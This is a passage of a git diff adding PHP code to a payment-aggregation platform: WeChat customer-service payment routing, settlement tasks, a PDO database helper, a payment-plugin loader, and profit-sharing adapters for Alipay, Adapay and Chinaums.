if(!$cookiesid||!preg_match('/^[0-9a-z]{32}$/i', $cookiesid)){ + $cookiesid = getSid(); + setcookie("mysid", $cookiesid, time() + 2592000, '/'); + } + + if($conf['wework_paykfid'] > 0){ + $wxkfaccount = $DB->getRow("SELECT * FROM pre_wxkfaccount WHERE id=:id", [':id'=>$conf['wework_paykfid']]); + }elseif($conf['wework_paymsgmode'] == 1){ + $usekflist = $DB->getAll("SELECT DISTINCT aid FROM pre_wxkflog WHERE `sid`=:sid AND addtime>=:addtime AND status=1", [':sid'=>$cookiesid, ':addtime'=>date("Y-m-d H:i:s", strtotime('-48 hours'))]); + $usekfids = [0]; + foreach($usekflist as $usekf){ + $usekfids[] = intval($usekf['aid']); + } + $wxkfaccount = $DB->getRow("SELECT A.* FROM pre_wxkfaccount A LEFT JOIN pre_wework B ON A.wid=B.id WHERE A.id NOT IN (".implode(",", $usekfids).") AND B.status=1 ORDER BY A.usetime ASC LIMIT 1"); + }else{ + $wxkfaccount = $DB->getRow("SELECT A.* FROM pre_wxkfaccount A LEFT JOIN pre_wework B ON A.wid=B.id WHERE B.status=1 ORDER BY A.usetime ASC LIMIT 1"); + } + if(!$wxkfaccount) return false; + + $DB->insert('wxkflog', ['trade_no'=>$order['trade_no'], 'aid'=>$wxkfaccount['id'], 'sid'=>$cookiesid, 'payurl'=>$pay_url, 'addtime'=>'NOW()']); + $scene_param = 'orderid='.$order['trade_no'].'&money='.$order['realmoney']; + try{ + if(!empty($wxkfaccount['url'])){ + $kfurl = $wxkfaccount['url']; + $DB->update('wxkfaccount', ['usetime'=>'NOW()'], ['id'=>$wxkfaccount['id']]); + }else{ + $wework = new wechat\WeWorkAPI($wxkfaccount['wid']); + $kfurl = $wework->getKFURL($wxkfaccount['openkfid'], 'pay'); + $DB->update('wxkfaccount', ['url'=>$kfurl, 'usetime'=>'NOW()'], ['id'=>$wxkfaccount['id']]); + } + $kfurl = 'weixin://biz/ww/kefu/' . $kfurl . '&schema=1'; + $kfurl .= '&scene_param='.urlencode($scene_param); + return $kfurl; + }catch(\Exception $e){ + sysmsg($e->getMessage()); + } + } + + //支付宝直付通&微信收付通延迟结算处理 + public static function settle_task(){ + global $DB; + $orders = $DB->getAll("SELECT A.*,B.plugin FROM pre_order A LEFT JOIN pre_channel B ON A.channel=B.id WHERE A.status=1 AND A.settle=1 AND A.addtime 0 ? \lib\Channel::getSub($row['subchannel']) : \lib\Channel::get($row['channel'], $DB->findColumn('user', 'channelinfo', ['uid'=>$row['uid']])); + if(!$channel) continue; + try{ + if($row['plugin'] == 'alipayd'){ + self::alipaydSettle($channel, $row); + }elseif($row['plugin'] == 'wxpaynp'){ + self::wxpaynpSettle($channel, $row); + } + $DB->update('order', ['settle'=>2], ['trade_no'=>$trade_no]); + echo $trade_no.' 结算成功
    '; + }catch(Exception $e){ + $errmsg = $e->getMessage(); + if(strpos($errmsg, 'ALREADY_CONFIRM_SETTLE')){ + $DB->update('order', ['settle'=>2], ['trade_no'=>$trade_no]); + echo $trade_no.' 结算成功
    '; + continue; + } + $DB->update('order', ['settle'=>3], ['trade_no'=>$trade_no]); + echo $trade_no.' 结算失败,'.$errmsg.'
    '; + } + } + } + + public static function getSubOrders($trade_no){ + global $DB; + return $DB->getAll("SELECT * FROM pre_suborder WHERE trade_no=:trade_no", [':trade_no'=>$trade_no]); + } + + public static function processSubOrders($trade_no, $sub_orders){ + global $DB; + foreach($sub_orders as $data){ + $DB->update('suborder', ['status'=>1, 'api_trade_no'=>$data['api_trade_no']], ['sub_trade_no'=>$data['sub_trade_no']]); + } + } + + public static function refundSubOrder($sub_trade_no, $refundmoney = null){ + global $DB; + $DB->update('suborder', ['status'=>2, 'refundmoney'=>$refundmoney], ['sub_trade_no'=>$sub_trade_no]); + } + + public static function updateSubOrderSettle($sub_trade_no, $settle){ + global $DB; + $DB->update('suborder', ['settle'=>$settle], ['sub_trade_no'=>$sub_trade_no]); + } +} diff --git a/includes/lib/PdoHelper.php b/includes/lib/PdoHelper.php new file mode 100644 index 0000000..036ce42 --- /dev/null +++ b/includes/lib/PdoHelper.php @@ -0,0 +1,445 @@ +prefix = $dbconfig['dbqz'].'_'; + try { + $this->db = new \PDO("mysql:host={$dbconfig['host']};dbname={$dbconfig['dbname']};port={$dbconfig['port']}",$dbconfig['user'],$dbconfig['pwd']); + } catch (\Exception $e) { + exit('链接数据库失败:' . $e->getMessage()); + } + $this->db->setAttribute(\PDO::ATTR_ERRMODE, \PDO::ERRMODE_SILENT); + $this->db->exec("set sql_mode = ''"); + $this->db->exec("set names utf8mb4"); + $this->db->exec("set time_zone='+8:00'"); + } + + /** + * 设置结果集方式 + * + * @param string $_style + */ + public function setFetchStyle($_style) + { + $this->fetchStyle = $_style; + } + + /** + * 替换数据表前缀 + * @param $_sql + * + * @return mixed + */ + private function dealPrefix($_sql){ + return str_replace($this->sqlPrefix,$this->prefix,$_sql); + } + + private function _where($conditions){ + $result = array( "_where" => " ","_bindParams" => array()); + if(is_array($conditions) && !empty($conditions)){ + $fieldss = array(); $sql = null; $join = array(); + if(isset($conditions[0]) && $sql = $conditions[0]) unset($conditions[0]); + foreach( $conditions as $key => $condition ){ + if(substr($key, 0, 1) != ":"){ + unset($conditions[$key]); + $conditions[":".$key] = $condition; + } + $join[] = "`{$key}` = :{$key}"; + } + if(!$sql) $sql = join(" AND ",$join); + + $result["_where"] = " WHERE ". $sql; + $result["_bindParams"] = $conditions; + }elseif(!empty($conditions)){ + $result["_where"] = " WHERE ". $conditions; + } + return $result; + } + + private function _select($table, $fields = '*', $where = array(), $sort = null, $limit = null){ + $sort = !empty($sort) ? ' ORDER BY '.$sort : ''; + $fields = !empty($fields) ? $fields : '*'; + if(is_array($fields)){ + $fields = implode(',',$fields); + } + $conditions = $this->_where($where); + + $sql = ' FROM pre_'.$table.$conditions["_where"]; + if(is_array($limit)){ + $limit = ' LIMIT '.$limit[0].','.$limit[1]; + }elseif(!empty($limit)){ + $limit = ' LIMIT '.$limit; + }else{ + $limit = ''; + } + return array('sql'=>'SELECT '. $fields . $sql . $sort . $limit, 'bind'=>$conditions["_bindParams"]); + } + + /** + * 查询一条数据 + * @param string $table + * @param string $fields + * @param array $where + * @param string $sort + * @param int $limit + * + * @return array + */ + public function find($table, $fields = '*', $where = array(), $sort = null, $limit = null){ + $sql_arr = $this->_select($table, $fields, $where, $sort, $limit); + return $this->getRow($sql_arr['sql'], $sql_arr['bind']); + } + + /** + * 查询全部数据 + * @param string $table + * @param string $fields + * @param array $where + * @param string $sort + * @param int $limit + * + * @return array + */ + public function findAll($table, $fields = '*', $where = array(), $sort = null, $limit = null){ + $sql_arr = $this->_select($table, $fields, $where, $sort, $limit); + return $this->getAll($sql_arr['sql'], $sql_arr['bind']); + } + + /** + * 查询字段数据 + * @param string $table + * @param string $fields + * @param array $where + * @param string $sort + * + * @return mixed + */ + public function findColumn($table, $fields, $where = array(), $sort = null){ + $sql_arr = $this->_select($table, $fields, $where, $sort, 1); + return $this->getColumn($sql_arr['sql'], $sql_arr['bind']); + } + + /** + * 插入数据 + * @param string $table + * @param array $data + * @param bool $replace + * + * @return int + */ + public function insert($table, $data, $replace = false){ + $values = array(); + foreach ($data as $k=>$v){ + $keys[] = "`{$k}`"; + if ($v == 'NOW()' || $v == 'CURDATE()' || $v == 'CURTIME()') { + $marks[] = $v; + }elseif ($v === null || $v === false) { + $marks[] = 'NULL'; + }else{ + $values[":".$k] = $v; + $marks[] = ":".$k; + } + } + $rowCount = $this->exec(($replace?"REPLACE":"INSERT")." INTO pre_".$table." (".implode(', ', $keys).") VALUES (".implode(', ', $marks).")", $values); + if($rowCount){ + return $this->lastInsertId(); + }else{ + return false; + } + } + + /** + * 更新数据 + * @param string $table + * @param array $data + * @param array $where + * + * @return int + */ + public function update($table, $data, $where){ + if(is_array($data) && !empty($data)){ + $values = array(); + foreach ($data as $k=>$v){ + if($v == 'NOW()' || $v == 'CURDATE()' || $v == 'CURTIME()'){ + $setstr[] = "`{$k}` = ".$v; + }elseif($v === null || $v === false){ + $setstr[] = "`{$k}` = NULL"; + }else{ + $values[":M_UPDATE_".$k] = $v; + $setstr[] = "`{$k}` = :M_UPDATE_".$k; + } + } + $update = implode(', ', $setstr); + }elseif(!empty($data)){ + $update = $data; + }else{ + return false; + } + $conditions = $this->_where($where); + $rowCount = $this->exec("UPDATE pre_".$table." SET ".$update.$conditions["_where"], $conditions["_bindParams"] + $values); + return $rowCount; + } + + /** + * 删除数据 + * @param string $table + * @param array $where + * + * @return int + */ + public function delete($table, $where){ + $conditions = $this->_where($where); + $rowCount = $this->exec("DELETE FROM pre_".$table.$conditions["_where"], $conditions["_bindParams"]); + return $rowCount; + } + + /** + * 统计行数 + * @param string $table + * @param array $where + * + * @return int + */ + public function count($table, $where){ + $conditions = $this->_where($where); + $count = $this->getColumn("SELECT COUNT(*) FROM pre_".$table.$conditions["_where"], $conditions["_bindParams"]); + return $count; + } + + + /** + * 执行语句 + * @param string $_sql + * @param array $_array + * + * @return int|bool + */ + public function exec($_sql, $_array = null) + { + $_sql = $this->dealPrefix($_sql); + if (is_array($_array)) { + $stmt = $this->db->prepare($_sql); + if($stmt) { + $result = $stmt->execute($_array); + if($result!==false){ + return $result; + }else{ + $this->errorInfo = $stmt->errorInfo(); + return false; + } + }else{ + $this->errorInfo = $this->db->errorInfo(); + return false; + } + } else { + $result = $this->db->exec($_sql); + if($result!==false){ + return $result; + }else{ + $this->errorInfo = $this->db->errorInfo(); + return false; + } + } + } + + /** + * 获取PDOStatement + * @param string $_sql + * @param array $_array + * + * @return \PDOStatement + */ + public function query($_sql, $_array = null) + { + $_sql = $this->dealPrefix($_sql); + if (is_array($_array)) { + $stmt = $this->db->prepare($_sql); + if($stmt) { + if($stmt->execute($_array)){ + return $stmt; + }else{ + $this->errorInfo = $stmt->errorInfo(); + return false; + } + }else{ + $this->errorInfo = $this->db->errorInfo(); + return false; + } + } else { + if($stmt = $this->db->query($_sql)){ + return $stmt; + }else{ + $this->errorInfo = $this->db->errorInfo(); + return false; + } + } + } + + /** + * 查询一条结果 + * + * @param string $_sql string + * @param array $_array array + * + * @return mixed + */ + public function getRow($_sql, $_array = null) + { + $stmt = $this->query($_sql, $_array); + if($stmt) { + return $stmt->fetch($this->fetchStyle); + }else{ + return false; + } + } + + /** + * 获取所有结果 + * + * @param string $_sql + * @param array $_array + * + * @return array + */ + public function getAll($_sql, $_array = null) + { + $stmt = $this->query($_sql, $_array); + if($stmt) { + return $stmt->fetchAll($this->fetchStyle); + }else{ + return false; + } + } + + /** + * 获取结果数 + * @param string $_sql + * @param array $_array + * + * @return int + */ + public function getCount($_sql, $_array = null) + { + $stmt = $this->query($_sql, $_array); + if($stmt) { + return $stmt->rowCount(); + }else{ + return false; + } + } + + /** + * 获取一个字段值 + * @param string $_sql + * @param array $_array + * + * @return int + */ + public function getColumn($_sql, $_array = null) + { + $stmt = $this->query($_sql, $_array); + if($stmt) { + return $stmt->fetchColumn(); + }else{ + return false; + } + } + + /** + * 返回最后插入行的ID + * + * @return int|\PDOStatement + */ + public function lastInsertId() + { + return $this->db->lastInsertId(); + } + + /** + * 返回错误信息 + * + * @return string|\PDOStatement + */ + public function error() + { + $error = $this->errorInfo; + if($error){ + return '['.$error[1].']'.$error[2]; + }else{ + return null; + } + } + + //开启事务 + public function beginTransaction() + { + return $this->db->beginTransaction(); + } + + //提交事务 + public function commit() + { + return $this->db->commit(); + } + + //回滚事务 + public function rollBack() + { + return $this->db->rollBack(); + } + + //事务 + public function transaction($action){ + if (is_callable($action)) + { + $this->db->beginTransaction(); + + try { + $result = $action($this); + + if ($result === false) + { + $this->db->rollBack(); + } + else + { + $this->db->commit(); + } + } + catch (\Exception $e) { + $this->db->rollBack(); + throw $e; + } + + return $result; + } + + return false; + } + + function __get($name) + { + return $this->$name; + } + + function __destruct() + { + $this->db = null; + } + + +} \ No newline at end of file diff --git a/includes/lib/Plugin.php b/includes/lib/Plugin.php new file mode 100644 index 0000000..77a7a46 --- /dev/null +++ b/includes/lib/Plugin.php @@ -0,0 +1,241 @@ +getRow("SELECT A.*,B.name typename,B.showname typeshowname FROM pre_order A left join pre_type B on A.type=B.id WHERE trade_no=:trade_no limit 1", [':trade_no'=>$trade_no]); + $userrow = $DB->find('user', 'gid,ordername,channelinfo', ['uid'=>$order['uid']]); + if (!$order) { + $channelinfo = $userrow?$userrow['channelinfo']:null; + $channel = \lib\Channel::get($trade_no, $channelinfo); + if(!$channel) throw new Exception('该订单号不存在,请返回来源地重新发起请求!'); + $trade_no = null; + }else{ + $channelinfo = $userrow?$userrow['channelinfo']:null; + $channel = $order['subchannel'] > 0 ? \lib\Channel::getSub($order['subchannel']) : \lib\Channel::get($order['channel'], $channelinfo); + if(!$channel) throw new Exception('当前支付通道信息不存在'); + $channel['apptype'] = explode(',',$channel['apptype']); + + if(!empty($userrow['ordername']))$conf['ordername']=$userrow['ordername']; + $ordername = !empty($conf['ordername'])?ordername_replace($conf['ordername'],$order['name'],$order['uid'],$trade_no,$order['out_trade_no']):$order['name']; + $order['plugin'] = $channel['plugin']; + } + $groupconfig = getGroupConfig($userrow['gid']); + $conf = array_merge($conf, $groupconfig); + + $result = self::loadClass($channel['plugin'], $func, $trade_no); + if($func == 'submit') { + $result['submit'] = true; + } + return $result; + }else{ + throw new Exception('URL参数不符合规范'); + } + } + + static public function loadForSubmit($plugin, $trade_no, $ismapi=false){ + global $DB,$conf,$order,$channel,$ordername,$userrow; + if(preg_match('/^(.[a-zA-Z0-9]+)$/',$plugin) && preg_match('/^(.[0-9]+)$/',$trade_no)){ + $func = 'submit'; + if($ismapi) $func = 'mapi'; + + $channelinfo = $userrow?$userrow['channelinfo']:null; + $channel = $order['subchannel'] > 0 ? \lib\Channel::getSub($order['subchannel']) : \lib\Channel::get($order['channel'], $channelinfo); + if(!$channel)throw new Exception('当前支付通道信息不存在'); + $channel['apptype'] = explode(',',$channel['apptype']); + if(!empty($userrow['ordername']))$conf['ordername']=$userrow['ordername']; + $ordername = !empty($conf['ordername'])?ordername_replace($conf['ordername'],$order['name'],$order['uid'],$trade_no,$order['out_trade_no']):$order['name']; + + return self::loadClass($plugin, $func, $trade_no); + }else{ + throw new Exception('URL参数不符合规范'); + } + } + + static public function loadClass($plugin, $func, $trade_no){ + $filename = PLUGIN_ROOT.$plugin.'/'.$plugin.'_plugin.php'; + $classname = '\\'.$plugin.'_plugin'; + if (file_exists($filename)) { + if(!defined("IN_PLUGIN")) define("IN_PLUGIN", true); + define("PAY_ROOT", PLUGIN_ROOT.$plugin.'/'); + define("TRADE_NO", $trade_no); + include $filename; + if (class_exists($classname, false) && method_exists($classname, $func)) { + return $classname::$func(); + } else { + if($func == 'mapi' && class_exists($classname, false) && method_exists($classname, 'submit')){ + global $siteurl; + return ['type'=>'jump','url'=>$siteurl.'pay/submit/'.TRADE_NO.'/']; + }else{ + throw new Exception('插件方法不存在:'.$func); + } + } + }else{ + throw new Exception('Pay file not found'); + } + } + + + static public function exists($name){ + $filename = PLUGIN_ROOT.$name.'/'.$name.'_plugin.php'; + if(file_exists($filename)){ + return true; + }else{ + return false; + } + } + + static public function isrefund($name){ + $filename = PLUGIN_ROOT.$name.'/'.$name.'_plugin.php'; + $classname = '\\'.$name.'_plugin'; + if(file_exists($filename)){ + include $filename; + if (class_exists($classname, false) && method_exists($classname, 'refund')) { + return true; + }else{ + return false; + } + }else{ + return false; + } + } + + static public function refund($refund_no, $trade_no, $money, &$message){ + global $order,$channel,$DB; + if(!preg_match('/^(.[0-9]+)$/',$trade_no))return false; + $channel = $order['subchannel'] > 0 ? \lib\Channel::getSub($order['subchannel']) : \lib\Channel::get($order['channel'], $DB->findColumn('user', 'channelinfo', ['uid'=>$order['uid']])); + if(!$channel){ + $message = '当前支付通道信息不存在'; + return false; + } + $order['refund_no'] = $refund_no; + $order['refundmoney'] = $money; + $filename = PLUGIN_ROOT.$channel['plugin'].'/'.$channel['plugin'].'_plugin.php'; + $classname = '\\'.$channel['plugin'].'_plugin'; + $func = 'refund'; + if($order['combine'] == 1) $func = 'refund_combine'; + if(file_exists($filename)){ + include $filename; + if (class_exists($classname, false) && method_exists($classname, $func)) { + if(!defined("IN_PLUGIN")) define("IN_PLUGIN", true); + define("PAY_ROOT", PLUGIN_ROOT.$channel['plugin'].'/'); + define("TRADE_NO", $trade_no); + $result = $classname::$func($order); + if($result && $result['code']==0){ + return true; + }else{ + $message = $result['msg']; + return false; + } + }else{ + $message = '当前支付通道不支持API退款'; + return false; + } + }else{ + $message = '支付插件不存在'; + return false; + } + } + + static public function loadForAdmin($func){ + global $channel; + $filename = PLUGIN_ROOT.$channel['plugin'].'/'.$channel['plugin'].'_plugin.php'; + $classname = '\\'.$channel['plugin'].'_plugin'; + if(file_exists($filename)){ + include_once $filename; + if (class_exists($classname, false) && method_exists($classname, $func)) { + if(!defined("IN_PLUGIN")) define("IN_PLUGIN", true); + define("PAY_ROOT", PLUGIN_ROOT.$channel['plugin'].'/'); + return $classname::$func($channel); + }else{ + throw new Exception('插件方法不存在:'.$func); + } + }else{ + throw new Exception('支付插件不存在'); + } + } + + static public function call($func, $channel, $bizParam = null){ + $filename = PLUGIN_ROOT.$channel['plugin'].'/'.$channel['plugin'].'_plugin.php'; + $classname = '\\'.$channel['plugin'].'_plugin'; + if(file_exists($filename)){ + include_once $filename; + if (class_exists($classname, false) && method_exists($classname, $func)) { + if($bizParam){ + $result = $classname::$func($channel, $bizParam); + }else{ + $result = $classname::$func($channel); + } + return $result; + }else{ + return ['code'=>-1, 'msg'=>'插件方法不存在:'.$func]; + } + }else{ + return ['code'=>-1, 'msg'=>'支付插件不存在']; + } + } + + static public function updateAll(){ + global $DB; + $DB->exec("TRUNCATE TABLE pre_plugin"); + $list = self::getList(); + foreach($list as $name){ + if($config = self::getConfig($name)){ + if($config['name']!=$name)continue; + $DB->insert('plugin',['name'=>$config['name'], 'showname'=>$config['showname'], 'author'=>$config['author'], 'link'=>$config['link'], 'types'=>implode(',',$config['types']), 'transtypes'=>$config['transtypes']?implode(',',$config['transtypes']):null]); + } + } + return true; + } + + static public function get($name){ + global $DB; + $result = $DB->getRow("SELECT * FROM pre_plugin WHERE name=:name", [':name'=>$name]); + return $result; + } + + static public function getAll(){ + global $DB; + $result = $DB->getAll("SELECT * FROM pre_plugin ORDER BY name ASC"); + return $result; + } +} diff --git a/includes/lib/ProfitSharing/Adapay.php b/includes/lib/ProfitSharing/Adapay.php new file mode 100644 index 0000000..110d4b6 --- /dev/null +++ b/includes/lib/ProfitSharing/Adapay.php @@ -0,0 +1,109 @@ +channel = $channel; + $pay_config = require(PLUGIN_ROOT.$channel['plugin'].'/inc/config.php'); + $this->service = \AdaPay::config($pay_config); + } + + //请求分账 + public function submit($trade_no, $api_trade_no, $account, $name, $money){ + global $DB; + $order_money = $DB->findColumn('order', 'realmoney', ['trade_no'=>$trade_no]); + + if(strpos($account, '|')){ + $accounts = explode('|', $account); + $psorder = CommUtil::getOrder($trade_no); + $rates = explode('|', $psorder['rate']); + $div_members = []; + $allmoney = 0; + foreach($accounts as $i=>$account){ + $rate = isset($rates[$i]) ? $rates[$i] : $rates[0]; + $money = round($order_money * $rate / 100, 2); + $div_members[] = ['member_id'=>$account, 'amount' => sprintf('%.2f' , $money), 'fee_flag'=>$i==0?'Y':'N']; + $allmoney += $money; + } + if($order_money > $allmoney){ + $psmoney2 = round($order_money-$allmoney, 2); + $div_members[] = ['member_id'=>'0', 'amount' => sprintf('%.2f' , $psmoney2), 'fee_flag'=>'N']; + } + }else{ + $psmoney2 = round($order_money-$money, 2); + $div_members = []; + $div_members[] = ['member_id'=>$account, 'amount' => sprintf('%.2f' , $money), 'fee_flag'=>'Y']; + if($psmoney2 > 0){ + $div_members[] = ['member_id'=>'0', 'amount' => sprintf('%.2f' , $psmoney2), 'fee_flag'=>'N']; + } + } + $params = [ + 'payment_id' => $api_trade_no, + 'order_no' => date("YmdHis").rand(11111,99999), + 'confirm_amt' => $order_money, + 'div_members' => $div_members, + ]; + + try{ + $result = $this->service->createPaymentConfirm($params); + return ['code'=>1, 'msg'=>'分账成功', 'settle_no'=>$result['id']]; + } catch (Exception $e) { + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + } + + //查询分账结果 + public function query($trade_no, $api_trade_no, $settle_no){ + try{ + $result = $this->service->queryPaymentConfirm($settle_no); + return ['code'=>0, 'status'=>1]; + } catch (Exception $e) { + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + } + + //解冻剩余资金 + public function unfreeeze($trade_no, $api_trade_no){ + global $DB; + $order_money = $DB->findColumn('order', 'realmoney', ['trade_no'=>$trade_no]); + $params = [ + 'payment_id' => $api_trade_no, + 'order_no' => date("YmdHis").rand(11111,99999), + 'reverse_amt' => $order_money, + ]; + + try{ + $result = $this->service->createPaymentReverse($params); + return ['code'=>0, 'msg'=>'解冻剩余资金成功', 'settle_no'=>$result['id']]; + } catch (Exception $e) { + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + } + + //分账回退 + public function return($trade_no, $api_trade_no, $account, $money){ + return ['code'=>-1,'msg'=>'不支持当前操作']; + } + + //添加分账接收方 + public function addReceiver($account, $name = null){ + return ['code'=>0, 'msg'=>'添加分账接收方成功']; + } + + //删除分账接收方 + public function deleteReceiver($account){ + return ['code'=>0, 'msg'=>'删除分账接收方成功']; + } +} \ No newline at end of file diff --git a/includes/lib/ProfitSharing/Alipay.php b/includes/lib/ProfitSharing/Alipay.php new file mode 100644 index 0000000..aa5f34f --- /dev/null +++ b/includes/lib/ProfitSharing/Alipay.php @@ -0,0 +1,159 @@ +channel = $channel; + $alipay_config = require(PLUGIN_ROOT.$channel['plugin'].'/inc/config.php'); + $this->service = new \Alipay\AlipaySettleService($alipay_config); + } + + //请求分账 + public function submit($trade_no, $api_trade_no, $account, $name, $money){ + if(strpos($account, '|')){ + global $DB; + $accounts = explode('|', $account); + $psorder = CommUtil::getOrder($trade_no); + $rates = explode('|', $psorder['rate']); + $order_money = $DB->findColumn('order', 'realmoney', ['trade_no'=>$trade_no]); + $receivers = []; + foreach($accounts as $i=>$account){ + $rate = isset($rates[$i]) ? $rates[$i] : $rates[0]; + $money = round($order_money * $rate / 100, 2); + $type = self::get_alipay_account_type($account); + $receivers[] = [ + 'trans_in_type' => $type, + 'trans_in' => $account, + 'amount' => $money + ]; + } + $bizContent = array( + 'out_request_no' => date("YmdHis").rand(11111,99999), + 'trade_no' => $api_trade_no, + 'royalty_parameters' => $receivers, + 'extend_params' => [ + 'royalty_finish' => 'true' + ] + ); + try{ + $result = $this->service->aopExecute('alipay.trade.order.settle', $bizContent); + return ['code'=>1, 'msg'=>'分账成功', 'settle_no'=>$result['settle_no']]; + } catch (Exception $e) { + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + } + + $type = self::get_alipay_account_type($account); + + try{ + $result = $this->service->order_settle($api_trade_no, $type, $account, $money); + return ['code'=>1, 'msg'=>'分账成功', 'settle_no'=>$result['settle_no']]; + } catch (Exception $e) { + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + } + + //查询分账结果 + public function query($trade_no, $api_trade_no, $settle_no){ + try{ + $result = $this->service->order_settle_query($settle_no); + $receiver = $result['royalty_detail_list'][0]; + if($receiver['state'] == 'SUCCESS'){ + return ['code'=>0, 'status'=>1]; + }elseif($receiver['state'] == 'FAIL'){ + return ['code'=>0, 'status'=>2, 'reason'=>'['.$receiver['error_code'].']'.$receiver['error_desc']]; + }else{ + return ['code'=>0, 'status'=>0]; + } + } catch (Exception $e) { + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + } + + //解冻剩余资金 + public function unfreeeze($trade_no, $api_trade_no){ + try{ + $this->service->order_settle_unfreeze($api_trade_no); + return ['code'=>0, 'msg'=>'解冻剩余资金成功']; + } catch (Exception $e) { + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + } + + //分账回退 + public function return($trade_no, $api_trade_no, $account, $money){ + $type = self::get_alipay_account_type($account); + + try{ + $this->service->order_settle_refund($api_trade_no, $type, $account, $money); + return ['code'=>0, 'msg'=>'退分账成功']; + } catch (Exception $e) { + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + } + + //添加分账接收方 + public function addReceiver($account, $name = null){ + if(strpos($account, '|')){ + $accounts = explode('|', $account); + $names = explode('|', $name); + foreach($accounts as $i => $account){ + $type = self::get_alipay_account_type($account); + try{ + $this->service->relation_bind($type, $account, $name ? $names[$i] : null); + } catch (Exception $e) { + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + } + return ['code'=>0, 'msg'=>'添加分账接收方成功']; + } + $type = self::get_alipay_account_type($account); + + try{ + $this->service->relation_bind($type, $account, $name); + return ['code'=>0, 'msg'=>'添加分账接收方成功']; + } catch (Exception $e) { + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + } + + //删除分账接收方 + public function deleteReceiver($account){ + if(strpos($account, '|')){ + $accounts = explode('|', $account); + foreach($accounts as $account){ + $type = self::get_alipay_account_type($account); + try{ + $this->service->relation_unbind($type, $account); + } catch (Exception $e) { + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + } + return ['code'=>0, 'msg'=>'删除分账接收方成功']; + } + $type = self::get_alipay_account_type($account); + + try{ + $this->service->relation_unbind($type, $account); + return ['code'=>0, 'msg'=>'删除分账接收方成功']; + } catch (Exception $e) { + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + } + + private static function get_alipay_account_type($account){ + if(is_numeric($account) && substr($account,0,4)=='2088' && strlen($account)==16)$type = 'userId'; + else $type = 'loginName'; + return $type; + } +} \ No newline at end of file diff --git a/includes/lib/ProfitSharing/Chinaums.php b/includes/lib/ProfitSharing/Chinaums.php new file mode 100644 index 0000000..5ed6aed --- /dev/null +++ b/includes/lib/ProfitSharing/Chinaums.php @@ -0,0 +1,44 @@ +channel = $channel; + } + + //请求分账 + public function submit($trade_no, $api_trade_no, $account, $name, $money){ + } + + //查询分账结果 + public function query($trade_no, $api_trade_no, $settle_no){ + } + + //解冻剩余资金 + public function unfreeeze($trade_no, $api_trade_no){ + } + + //分账回退 + public function return($trade_no, $api_trade_no, $account, $money){ + } + + //添加分账接收方 + public function addReceiver($account, $name = null){ + return ['code'=>0, 'msg'=>'添加分账接收方成功']; + } + + //删除分账接收方 + public function deleteReceiver($account){ + return ['code'=>0, 'msg'=>'删除分账接收方成功']; + } +} \ No newline at end of file diff --git a/includes/lib/ProfitSharing/CommUtil.php b/includes/lib/ProfitSharing/CommUtil.php new file mode 100644 index 0000000..3d53465 --- /dev/null +++ b/includes/lib/ProfitSharing/CommUtil.php @@ -0,0 +1,104 @@ +find('psreceiver', '*', ['id'=>$id]); + } + + public static function getOrder($trade_no){ + global $DB; + return $DB->getRow("SELECT A.*,B.channel,B.account,B.name,B.rate FROM pre_psorder A LEFT JOIN pre_psreceiver B ON A.rid=B.id WHERE A.trade_no=:trade_no", [':trade_no'=>$trade_no]); + } + + //订单分账定时任务 + public static function task(){ + global $DB; + $limit = 10; //每次查询分账的订单数量 + $list = $DB->getAll("SELECT A.*,B.channel,B.account,B.name,B.uid psuid,C.uid,C.subchannel FROM pre_psorder A INNER JOIN pre_psreceiver B ON B.id=A.rid LEFT JOIN pre_order C ON C.trade_no=A.trade_no WHERE A.status=1 ORDER BY A.id ASC LIMIT {$limit}"); + foreach($list as $srow){ + self::process_item($srow); + } + + $limit = 10; //每次提交分账的订单数量 + $list = $DB->getAll("SELECT A.*,B.channel,B.account,B.name,B.uid psuid,C.uid,C.subchannel FROM pre_psorder A INNER JOIN pre_psreceiver B ON B.id=A.rid LEFT JOIN pre_order C ON C.trade_no=A.trade_no WHERE A.status=0 AND (A.addtime<=DATE_SUB(NOW(), INTERVAL 60 SECOND) AND A.delay=0 OR A.addtime<=DATE_SUB(NOW(), INTERVAL 24 HOUR) AND A.delay=1) ORDER BY A.id ASC LIMIT {$limit}"); + foreach($list as $srow){ + self::process_item($srow); + } + } + + //处理一个订单分账任务 + public static function process_item($row){ + global $DB; + $id = $row['id']; + $channel = $row['subchannel'] > 0 ? \lib\Channel::getSub($row['subchannel']) : \lib\Channel::get($row['channel'], $row['uid']?$DB->findColumn('user', 'channelinfo', ['uid'=>$row['uid']]):null); + if(!$channel) return; + $model = self::getModel($channel); + // status:0-待分账,1-已提交,2-成功,3-失败 + if($row['status']==0){ + if($row['money'] == 0){ + $DB->update('psorder', ['status'=>3,'result'=>'分账金额为0'], ['id'=>$id]); + echo $row['trade_no'].' 分账金额为0
    '; + return; + } + $result = $model->submit($row['trade_no'], $row['api_trade_no'], $row['account'], $row['name'], $row['money']); + if($result['code'] == 0){ + $DB->update('psorder', ['status'=>1,'settle_no'=>$result['settle_no']], ['id'=>$id]); + }elseif($result['code'] == 1){ + $DB->update('psorder', ['status'=>2,'settle_no'=>$result['settle_no']], ['id'=>$id]); + if(!empty($row['psuid']) && $channel['mode']==0){ + changeUserMoney($row['psuid'], $row['money'], false, '订单分账', $row['trade_no']); + } + }elseif($result['code'] == -1){ + $DB->update('psorder', ['status'=>3,'result'=>$result['msg']], ['id'=>$id]); + } + echo $row['trade_no'].' '.$result['msg'].'
